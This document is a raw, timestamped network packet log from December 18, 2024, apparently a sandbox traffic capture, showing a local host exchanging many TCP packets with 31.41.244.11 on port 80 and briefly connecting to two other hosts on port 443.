Dec 18, 2024 19:08:45.898716927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.955545902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.955656052 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.955849886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.955902100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.959949017 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.960011005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.960037947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.960089922 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.968231916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.968308926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.968329906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.968374968 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.976572990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.976780891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.980773926 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.980855942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.980874062 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.980901003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.989135981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.989227057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.989272118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.989320040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.997638941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.997665882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:45.997740030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:45.997771025 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.006115913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.006155014 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.006237030 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.006267071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.014439106 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.014516115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.015070915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.015158892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.022877932 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.022954941 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.022981882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.023025036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.075018883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.075099945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.078661919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.078727007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.127373934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.127430916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.127471924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.127515078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.131685019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.131741047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.132160902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.132204056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.199681997 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.199736118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.199879885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.247558117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.247749090 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.322596073 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.322757959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.322885036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.322997093 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.326705933 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.326754093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.326828003 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.326906919 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.335283995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.335427999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.335781097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.335834980 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.343780994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.343887091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.344476938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.344592094 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.351913929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.352150917 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.352368116 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.352428913 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.373660088 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.375899076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.375996113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.376055956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.376111031 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.384119987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.384320974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.384521008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.384577990 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.392924070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.392956972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.393018007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.401448011 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.401588917 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.401662111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.401798964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.409975052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.410619020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.410701036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.446150064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.448098898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.448203087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.448229074 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.448277950 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.456774950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.456818104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.456989050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.569399118 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.569416046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.569483995 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.627731085 CET	49740	443	192.168.2.5	172.67.209.202
Dec 18, 2024 19:08:46.735739946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.735807896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.735841036 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.735882998 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.739769936 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.740160942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.748176098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.748239040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.748311043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.748354912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.752463102 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.752525091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.752679110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.752727032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.760864019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.760931969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.760999918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.761054039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.769324064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.769385099 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.769433975 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.769481897 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.777734995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.777798891 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.777930021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.778095961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.814558983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.814613104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.815088987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.815138102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.821064949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.821096897 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.821120024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.821141958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.827244043 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.827300072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.827542067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.827584028 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.847352982 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.847398043 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.847438097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.847529888 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.851540089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.851582050 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.851816893 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.851856947 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.859961033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.860017061 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.860399961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.860449076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.868431091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.868470907 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.868537903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.938304901 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.938476086 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.938488007 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.938540936 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.942444086 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.942504883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.942580938 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.942625999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.951009035 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.951061964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.951422930 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.951467037 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.959297895 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.959347010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:46.996469021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:46.996691942 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.033679008 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.036282063 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.070852995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.071435928 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.083589077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.083772898 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.096641064 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.096715927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.108514071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.108694077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.116676092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.116745949 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.116847038 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.116890907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.133285046 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.133320093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.133398056 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.133474112 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.149944067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.150019884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.150245905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.150295019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.166490078 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.166569948 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.166621923 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.166672945 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.180147886 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:47.180253983 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:47.181662083 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:47.181672096 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:47.181916952 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:47.182461977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.182634115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.182694912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.183218956 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:47.183366060 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:47.183410883 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:47.183465004 CET	49741	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:47.198951006 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.199034929 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.199047089 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.199094057 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.216567993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.216700077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.216734886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.216734886 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.231332064 CET	443	49741	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:47.232372999 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.232460976 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.240473986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.240545988 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.240737915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.240784883 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.258042097 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.258061886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.258147001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.272866964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.272926092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.272958040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.273004055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.289258957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.289335966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.289567947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.289612055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.305670977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.305727005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.305867910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.305912971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.322242022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.322302103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.322932959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.323004007 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.338655949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.338713884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.339090109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.339137077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.355074883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.355134964 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.355206966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.355245113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.371509075 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.371565104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.371627092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.371664047 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.387959003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.388041019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.388051987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.388086081 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.404457092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.404572010 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.405088902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.405133963 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.420872927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.420964956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.421010971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.421046019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.437478065 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.437640905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.438095093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.438148022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.453670025 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.453752995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.453788996 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.453820944 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.470376968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.470444918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.470475912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.470515013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.486526012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.486769915 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.488281012 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.488358974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.503197908 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.503271103 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.503850937 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.503902912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.519593954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.519642115 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.519679070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.519702911 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.535922050 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.536039114 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.536072969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.536117077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.552370071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.552462101 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.552495956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.552539110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.568763971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.568825960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.569025993 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.569067001 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.585242033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.585326910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.585437059 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.585485935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.601572037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.601663113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.601906061 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.601957083 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.618005037 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.618057966 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.618280888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.618326902 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.634409904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.634486914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.635550022 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.635620117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.650876045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.650942087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.650993109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.651040077 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.667418957 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.667490005 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.667922974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.667972088 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.683933020 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.683944941 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.683996916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.700167894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.700248957 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.700284958 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:47.700330019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:47.716634035 CET	80	49739	31.41.244.11	192.168.2.5
